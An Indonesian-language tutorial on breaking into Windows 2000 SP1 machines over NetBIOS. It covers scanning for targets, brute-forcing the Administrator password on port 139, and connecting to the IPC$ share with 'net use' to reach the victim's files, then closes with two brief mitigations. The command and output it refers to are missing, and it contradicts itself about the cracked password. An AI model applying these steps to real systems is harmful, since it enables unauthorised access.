Hacking Net Bios Windows 2000 sp 1

.
Jaringan yang mendukung sistem input/output (NetBIOS) tidak lagi diperlukan
untuk berkomunikasi dengan pc lain yang menggunakan sistem oprasi Microsoft
windows. Meskipun demikian, sama dengan penggunaan protokol TCP/IP yang lain
net bios masih banyak digunakan.

Hal ini sangatlah mengejutkan sebab semua jaringan microsoft sebelum windows
2000 memerlukan NETBIOS sebagai pendukung protokol lainnya. Kebanyakan protokol
ini berada pada bagian TCP/IP, IPX/SPX. Oleh karena itu administrator tidak
mempunyai pilihan lain untuk menggunakan berbagai protokol, sebab tanpa protokol
yang lain , produk microsoft tidak dapat berkomunikasi antara satu dan lainnya.

NET BIOS adalah suatu program aplikasi penghubung. NET BIOS dibuat oleh IBM dan
SYTEK pada tahun 1984 untuk program jaringan pada pc mereka yang kemudian
diadaptasikan oleh microsoft dan meliputi ms-dos versi 3.1. Sejak saat itu NET
BIOS telah menjadi suatu worlwide yang standar.

Netbios standard memungkinkan komunikasi aplikasi komputer yang berbeda untuk
berkomunikasi ke berbagai protokol LOCAL AREA NETWORK (LAN), mencakup Internet
Protokol (Ip). Bagaimanapun net bios tidaklah dengan sendirinya suatu menaklukkan
mekanisme untuk berkomunikasi ke seberang suatu WIDE AREA NETWORK (WAN) Karena
memerlukan bantuan dari mekanisme lain, seperti TCP.

Net Bios merupakan alat penghubung program untuk berkomunikasi dengan jaringan,
kemudian bersandar pada tingkatan protokol yang lebih rendah seperti NetBEUI
untuk mengirimkan informasi antar mesin. NetBEUI berfungsi sebagai media
penghubung NetBIOS ke ke jaringan.


Metoda pengujian
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Sebelum memulai ada baik nya anda mempersiapkan utilitas dibawah ini :
1. IP Scanner (Advance IP Scanner )
2. Port Scanner (NMAP)
3. Win Nt Password Cracker ( NetBIOS Auditing Tool )
4. Database Password yang lumayan banyak.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1. Cari Komputer target dengan IpScanner
2. Identifikasi port yang terbuka dengan menggunakan Nmap apakah port 139 terbuka
3. Jika sudah diketemuakan kitda dapat mencoba password dari windows 2000 tersebut
dengan menggunakan nat (NetBIOS Auditing Tool) Dengan menggunakan perintah sbb pada
command prompt:



Setelah perintah diatas dilakukan maka akan muncul sebagai berikut

Pada baris
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `123456'
menunjukan bahwa password sudah ditemukan dengan username ADMINISTRATOR dan
Password password.

Setelah username dan password di temukan maka kita dapat melakukan koneksi ke
computer target denggan menggunakan perintah sbb
pada shel cmd

net use \\\\COMPUTER-CSRG\ipc$ /user:administrator 123456


Jika yang muncul pesan ?The command completed successfully.? Berarti kita sudah
berhasil menguasai computer tersebut. Setelah itu kita dapat mengakses file
yang terdapat pada komputer
tersebut.


Solusi

Solusi untuk mencegah komputer anda di hack dengan cara tadi dapat dilakukan dengan
beberapa cara antara lain dengan :
1. Mengupgrade service pack 4 yang dapat di download dari http://windowsupdate.microsoft.com
2. Menggunakan Firewall untuk menutup port 139
